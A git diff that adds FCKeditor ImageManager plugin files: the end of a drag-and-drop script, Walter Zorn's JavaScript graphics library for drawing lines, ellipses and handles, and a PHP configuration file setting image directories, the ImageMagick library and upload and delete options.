+       if(!dd.whratio) d_h = dd.limH(dd.inWndH(dd.ofy+dd.e.y)-dd.obj.y);
+       else
+       {
+               d_h = dd.limH(dd.inWndH(Math.round(d_w/dd.whratio)+dd.obj.y)-dd.obj.y);
+               d_w = Math.round(d_h*dd.whratio);
+       }
+       dd.reszTo(d_w, d_h);
+       if(window.my_ResizeFunc) my_ResizeFunc();
+       if(dd.obj.resizeFunc) dd.obj.resizeFunc();
+       if(dd.moveFunc) return dd.moveFunc(d_ev);
+       return false;
+}
+function DROP(d_ev)
+{
+       if(dd.obj)
+       {
+               if(dd.obj.is_dragged)
+               {
+                       if(!dd.obj.is_image) dd.getWH(dd.obj);
+               }
+               else if(dd.n4)
+               {
+                       if(dd.obj.is_image)
+                       {
+                               dd.n4RectVis(0);
+                               dd.obj.resizeTo(dd.obj.w, dd.obj.h);
+                       }
+               }
+               if(!dd.n4 || !dd.obj.is_image) dd.recalc();
+               dd.setMovHdl(dd.moveFunc);
+               dd.setUpHdl(dd.upFunc);
+               if(dd.db) dd.db.onselectstart = null;
+               dd.obj._setOpaRel(1.0);
+               dd.obj._setCrs(dd.obj.cursor);
+               dd.embedVis('visible');
+               dd.obj._resetZ();
+               dd.e = new dd.evt(d_ev);
+               if(window.my_DropFunc) my_DropFunc();
+               if(dd.obj.dropFunc) dd.obj.dropFunc();
+               dd.msmoved = dd.obj.is_dragged = dd.obj.is_resized = dd.whratio = 0;
+               dd.obj = null;
+       }
+       dd.setDwnHdl(PICK);
+}
+function SET_DHTML()
+{
+       var d_a = arguments, d_ai, d_htm = '', d_o, d_i = d_a.length; while(d_i--)
+       {
+               if(!(d_ai = d_a[d_i]).indexOf('c:')) dd.cursor = d_ai.substring(2);
+               else if(d_ai == NO_ALT) dd.noalt = 1;
+               else if(d_ai == SCROLL) dd.scroll = 1;
+               else if(d_ai == RESET_Z) dd.re_z = 1;
+               else if(d_ai == RESIZABLE) dd.resizable = 1;
+               else if(d_ai == SCALABLE) dd.scalable = 1;
+               else if(d_ai == TRANSPARENT) dd.diaphan = 1;
+               else
+               {
+                       d_o = new DDObj(d_ai);
+                       dd.addElt(d_o);
+                       d_htm += d_o.t_htm || '';
+                       if(d_o.oimg && d_o.cpy_n)
+                       {
+                               var d_j = 0; while(d_j < d_o.cpy_n)
+                               {
+                                       var d_p = new DDObj(d_o.name+d_o.cmd, ++d_j);
+                                       dd.addElt(d_p, d_o);
+                                       d_p.defz = d_o.defz+d_j;
+                                       d_p.original = d_o;
+                                       d_htm += d_p.t_htm;
+                               }
+                       }
+               }
+       }
+       if (dd.n4 || dd.n6 || dd.ie || dd.op || dd.w3c) document.write(
+               (dd.n4? '<div style="position:absolute;"><\/div>\n'
+               : (dd.op && !dd.op6)? '<div id="OpBlUr" style="position:absolute;visibility:hidden;width:0px;height:0px;"><form><input type="text" style="width:0px;height:0px;"><\/form><\/div>'
+               : '') + d_htm
+       );
+       dd.z = 0x33;
+       d_i = dd.elements.length; while(d_i--)
+       {
+               dd.addProps(d_o = dd.elements[d_i]);
+               if(d_o.is_image && !d_o.original && !d_o.clone)
+                       dd.n4? d_o.oimg.src = spacer : d_o.oimg.style.visibility = 'hidden';
+       }
+       dd.mkWzDom();
+       if(window.onload) dd.loadFunc = window.onload;
+       if(window.onunload) dd.uloadFunc = window.onunload;
+       window.onload = dd.initz;
+       window.onunload = dd.finlz;
+       dd.setDwnHdl(PICK);
+}
+function ADD_DHTML(d_o) // layers only!
+{
+       d_o = new DDObj(d_o);
+       dd.addElt(d_o);
+       dd.addProps(d_o);
+       dd.mkWzDom();
+}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/wz_jsgraphics.js b/fckeditor/editor/plugins/ImageManager/assets/wz_jsgraphics.js
new file mode 100644 (file)
index 0000000..b5c2151
--- /dev/null
@@ -0,0 +1,921 @@
+/***********************************************************************
+** Title.........:  Javascript Graphics
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  wz_jsgraphics.js
+** Last changed..:  31 Aug 2003  
+** Notes.........:  Modified for Image Editor, added extra commands
+**/ 
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js    v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+  with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+    x = document.body || null;
+    jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+    jg_dom = (x && !jg_ie &&
+        typeof x.appendChild != "undefined" &&
+        typeof document.createRange != "undefined" &&
+        typeof (i = document.createRange()).setStartBefore != "undefined" &&
+        typeof i.createContextualFragment != "undefined");
+    jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+    this.wnd.document.write(this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+    var x = document.createRange();
+    x.setStartBefore(this.cnv);
+    x = x.createContextualFragment(this.htm);
+    this.cnv.appendChild(x);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+    this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+    this.cnv.innerHTML += this.htm;
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+    this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+
+    //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'border-left:' + w + 'px solid ' + this.color + ';'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+    this.htm += '<layer '+
+        'left="' + x + '" '+
+        'top="' + y + '" '+
+        'width="' + w + '" '+
+        'height="' + h + '" '+
+        'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+    this.htm += '<div style="position:absolute;white-space:nowrap;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'font-family:' +  this.ftFam + ';'+
+        'font-size:' + this.ftSz + ';'+
+        'color:' + this.color + ';' + this.ftSty + '">'+
+        txt +
+        '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox, 1);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, 1, oy-y+1);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, 1, oy-y2+1);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, 1, y-oy);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, 1, y2-oy+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+
+    var s = this.stroke;
+    if (dx >= dy)
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.ceil(s/2);
+
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox+ad, _s);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+ad+1, _s);
+    }
+
+    else
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.round(s/2);
+
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            ++ad;
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, _s, oy-y+ad);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, _s, oy-y2+ad);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, _s, y-oy+ad);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1,
+    drw = true;
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx;
+        while ((dx--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            if (p > 0)
+            {
+                y += yIncr;
+                p += pru;
+            }
+            else p += pr;
+            ++x;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy;
+        while ((dy--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            y += yIncr;
+            if (p > 0)
+            {
+                ++x;
+                p += pru;
+            }
+            else p += pr;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    ox = 0, oy = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1),
+    w, h;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+            tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+            w = x-ox;
+            h = oy-y;
+            if (w&0x2 && h&0x2)
+            {
+                this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+                this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+            }
+            else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+            ox = x;
+            oy = y;
+        }
+        else
+        {
+            tt -= aa*((y<<1)-0x3);
+            st -= (aa<<1)*(--y);
+        }
+    }
+    this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+    this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+    var s = this.stroke;
+    width += s-1;
+    height += s-1;
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1);
+
+
+    if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+    {
+        var ox = 0, oy = b,
+        w, h,
+        pxl, pxr, pxt, pxb, pxw;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                w = x-ox;
+                h = oy-y;
+
+                if (w-1)
+                {
+                    pxw = w+1+(s&1);
+                    h = s;
+                }
+                else if (h-1)
+                {
+                    pxw = s;
+                    h += 1+(s&1);
+                }
+                else pxw = h = s;
+                this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+        this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+    }
+
+
+    else
+    {
+        var _a = (width-((s-1)<<1))>>1,
+        _b = (height-((s-1)<<1))>>1,
+        _x = 0, _y = _b,
+        _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+        _st = (_aa>>1)*(1-(_b<<1)) + _bb,
+        _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+        pxl = new Array(),
+        pxt = new Array(),
+        _pxb = new Array();
+        pxl[0] = 0;
+        pxt[0] = b;
+        _pxb[0] = _b-1;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+
+            if (_y > 0)
+            {
+                if (_st < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3);
+                    _tt += (_bb<<1)*(++_x);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else if (_tt < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+                    _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else
+                {
+                    _tt -= _aa*((_y<<1)-0x3);
+                    _st -= (_aa<<1)*(--_y);
+                    _pxb[_pxb.length-1]--;
+                }
+            }
+        }
+
+        var ox = 0, oy = b,
+        _oy = _pxb[0],
+        l = pxl.length,
+        w, h;
+        for (var i = 0; i < l; i++)
+        {
+            if (typeof _pxb[i] != "undefined")
+            {
+                if (_pxb[i] < _oy || pxt[i] < oy)
+                {
+                    x = pxl[i];
+                    this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+                    ox = x;
+                    oy = pxt[i];
+                    _oy = _pxb[i];
+                }
+            }
+            else
+            {
+                x = pxl[i];
+                this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+                this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+                ox = x;
+                oy = pxt[i];
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+        this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+    }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = height&1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+    st = (aa2>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa2*((b<<1)-1),
+    drw = true;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - aa4*(y-1);
+            tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+        }
+        else
+        {
+            tt -= aa2*((y<<1)-0x3);
+            st -= aa4*(--y);
+        }
+        if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+        drw = !drw;
+    }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+    var s = this.stroke;
+    this.mkDiv(x, y, w, s);
+    this.mkDiv(x+w, y, s, h);
+    this.mkDiv(x, y+h, w+s, s);
+    this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+    this.drawLine(x, y, x+w, y);
+    this.drawLine(x+w, y, x+w, y+h);
+    this.drawLine(x, y+h, x+w, y+h);
+    this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+    this.PLAIN = 'font-weight:normal;';
+    this.BOLD = 'font-weight:bold;';
+    this.ITALIC = 'font-style:italic;';
+    this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+    this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+    this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+    this.setColor = new Function('arg', 'this.color = arg;');
+
+
+    this.getColor = new Function('return this.color');
+
+    this.setStroke = function(x)
+    {
+        this.stroke = x;
+        if (!(x+1))
+        {
+            this.drawLine = mkLinDott;
+            this.mkOv = mkOvDott;
+            this.drawRect = mkRectDott;
+        }
+        else if (x-1 > 0)
+        {
+            this.drawLine = mkLin2D;
+            this.mkOv = mkOv2D;
+            this.drawRect = mkRect;
+        }
+        else
+        {
+            this.drawLine = mkLin;
+            this.mkOv = mkOv;
+            this.drawRect = mkRect;
+        }
+    };
+
+
+
+    this.setPrintable = function(arg)
+    {
+        this.printable = arg;
+        this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+    };
+
+
+
+    this.setFont = function(fam, sz, sty)
+    {
+        this.ftFam = fam;
+        this.ftSz = sz;
+        this.ftSty = sty || Font.PLAIN;
+    };
+
+
+
+    this.drawPolyline = this.drawPolyLine = function(x, y, s)
+    {
+        var i = x.length-1; while (i >= 0)
+            this.drawLine(x[i], y[i], x[--i], y[i]);
+    };
+
+
+
+    this.fillRect = function(x, y, w, h)
+    {
+        this.mkDiv(x, y, w, h);
+    };
+
+
+    this.fillRectPattern = function(x, y, w, h, url)
+    {
+        this.htm += '<div style="position:absolute;'+
+            'left:' + x + 'px;'+
+            'top:' + y + 'px;'+
+            'width:' + w + 'px;'+
+            'height:' + h + 'px;'+
+            'clip:rect(0,'+w+'px,'+h+'px,0);'+
+            'overflow:hidden;'+
+            //'background-color:' + this.color + ';'+
+            "background-image: url('" + url + "');"+
+            "layer-background-image: url('" + url + "');"+
+            'z-index:100;"><\/div>';
+        //alert(this.htm);
+    }
+
+    this.drawHandle = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'padding: 2px;overflow:hidden;'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+    }
+
+    this.drawHandleBox = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+        'overflow:hidden; border: solid 1px '+ this.color+';'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+        
+    }
+
+    this.drawPolygon = function(x, y)
+    {
+        this.drawPolyline(x, y);
+        this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+    };
+
+
+
+    this.drawEllipse = this.drawOval = function(x, y, w, h)
+    {
+        this.mkOv(x, y, w, h);
+    };
+
+
+
+    this.fillEllipse = this.fillOval = function(left, top, w, h)
+    {
+        var a = (w -= 1)>>1, b = (h -= 1)>>1,
+        wod = (w&1)+1, hod = (h&1)+1,
+        cx = left+a, cy = top+b,
+        x = 0, y = b,
+        ox = 0, oy = b,
+        aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+        st = (aa2>>1)*(1-(b<<1)) + bb,
+        tt = (bb>>1) - aa2*((b<<1)-1),
+        pxl, dw, dh;
+        if (w+1) while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - aa4*(y-1);
+                pxl = cx-x;
+                dw = (x<<1)+wod;
+                tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+                dh = oy-y;
+                this.mkDiv(pxl, cy-oy, dw, dh);
+                this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa2*((y<<1)-0x3);
+                st -= aa4*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+    };
+
+
+
+    this.drawString = mkLbl;
+
+
+
+    this.clear = function()
+    {
+        this.htm = "";
+        if (this.cnv) this.cnv.innerHTML = this.defhtm;
+        
+    };
+
+
+
+    this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+    {
+        this.mkDiv(xr+cx, yt+cy, w, h);
+        this.mkDiv(xr+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yt+cy, w, h);
+    };
+
+
+    this.setStroke(1);
+    this.setPrintable(false);
+    this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+    this.color = '#000000';
+    this.htm = '';
+    this.wnd = wnd || window;
+
+
+    if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+    if (typeof id != 'string' || !id) this.paint = pntDoc;
+    else
+    {
+        this.cnv = document.all? (this.wnd.document.all[id] || null)
+            : document.getElementById? (this.wnd.document.getElementById(id) || null)
+            : null;
+        this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+        this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+    }
+}
diff --git a/fckeditor/editor/plugins/ImageManager/config.inc.php b/fckeditor/editor/plugins/ImageManager/config.inc.php
new file mode 100644 (file)
index 0000000..72af1db
--- /dev/null
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Image Manager configuration file.
+ * @author Wei Zhuo
+ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: config.inc.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+include('../../../../setup.phtml');
+
+/* 
+ File system path to the directory you want to manage the images
+ for multiple user systems, set it dynamically.
+
+ NOTE: This directory requires write access by PHP. That is, 
+       PHP must be able to create files in this directory.
+          Able to create directories is nice, but not necessary.
+*/
+$IMConfig['base_dir'] = BASE.'images/ht_images/';
+
+/*
+ The URL to the above path, the web browser needs to be able to see it.
+ It can be protected via .htaccess on apache or directory permissions on IIS,
+ check you web server documentation for futher information on directory protection
+ If this directory needs to be publicly accessiable, remove scripting capabilities
+ for this directory (i.e. disable PHP, Perl, CGI). We only want to store assets
+ in this directory and its subdirectories.
+*/
+$IMConfig['base_url'] = BASE_URL.'images/ht_images/';
+
+$IMConfig['server_name'] = $_SERVER['SERVER_NAME'];
+
+/*
+ demo - when true, no saving is allowed
+*/
+$IMConfig['demo'] = false;
+
+/*
+
+  Possible values: true, false
+
+  TRUE - If PHP on the web server is in safe mode, set this to true.
+         SAFE MODE restrictions: directory creation will not be possible,
+                only the GD library can be used, other libraries require
+                Safe Mode to be off.
+
+  FALSE - Set to false if PHP on the web server is not in safe mode.
+*/
+$IMConfig['safe_mode'] = false;
+
+/* 
+ Possible values: 'GD', 'IM', or 'NetPBM'
+
+ The image manipulation library to use, either GD or ImageMagick or NetPBM.
+ If you have safe mode ON, or don't have the binaries to other packages, 
+ your choice is 'GD' only. Other packages require Safe Mode to be off.
+*/
+define('IMAGE_CLASS', 'IM');
+
+
+/*
+ After defining which library to use, if it is NetPBM or IM, you need to
+ specify where the binary for the selected library are. And of course
+ your server and PHP must be able to execute them (i.e. safe mode is OFF).
+ GD does not require the following definition.
+*/
+define('IMAGE_TRANSFORM_LIB_PATH', '/usr/bin/');
+
+
+/* ==============  OPTIONAL SETTINGS ============== */
+
+
+/*
+  The prefix for thumbnail files, something like .thumb will do. The
+  thumbnails files will be named as "prefix_imagefile.ext", that is,
+  prefix + orginal filename.
+*/
+$IMConfig['thumbnail_prefix'] = '.';
+
+/*
+  Thumbnail can also be stored in a directory, this directory
+  will be created by PHP. If PHP is in safe mode, this parameter
+  is ignored, you can not create directories. 
+
+  If you do not want to store thumbnails in a directory, set this
+  to false or empty string '';
+*/
+$IMConfig['thumbnail_dir'] = '.thumbs';
+
+/*
+  Possible values: true, false
+
+ TRUE -  Allow the user to create new sub-directories in the
+         $IMConfig['base_dir'].
+
+ FALSE - No directory creation.
+
+ NOTE: If $IMConfig['safe_mode'] = true, this parameter
+       is ignored, you can not create directories
+*/
+$IMConfig['allow_new_dir'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the user to upload files.
+
+  FALSE - No uploading allowed.
+*/
+$IMConfig['allow_upload'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the replacement of the image with a newly uploaded image in the editor dialog.
+
+  FALSE - No replacing allowed.
+*/
+$IMConfig['allow_replace'] = false;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the deletion of images
+
+  FALSE - No deleting allowed
+*/
+$IMConfig['allow_delete'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the user to enter a new filename for saving the edited image.
+
+  FALSE - Overwrite
+*/
+$IMConfig['allow_newFileName'] = false;
+
+/*
+  Possible values: true, false
+  Only applies when the the user can enter a new filename (The baove settig = 'allow_newFileName' true)
+
+  TRUE - Overwrite file of entered filename, if file already exist.
+
+  FALSE - Save to variant of entered filename, if file already exist.
+*/
+$IMConfig['allow_overwrite'] = false;
+
+/*
+  Specify the paths of the watermarks to use (relative to $IMConfig['base_dir']).
+  Specifying none will hide watermarking functionality.
+*/
+$IMConfig['watermarks'] = array        (
+                                                                                                       "imageManager.png"
+                                                                                               );
+
+/*
+       To limit the width and height for uploaded files, specify the maximum pixeldimensions.
+       Setting either zero or empty will allow any size.
+*/
+$IMConfig['maxWidth'] = 640;
+$IMConfig['maxHeight'] = '';
+
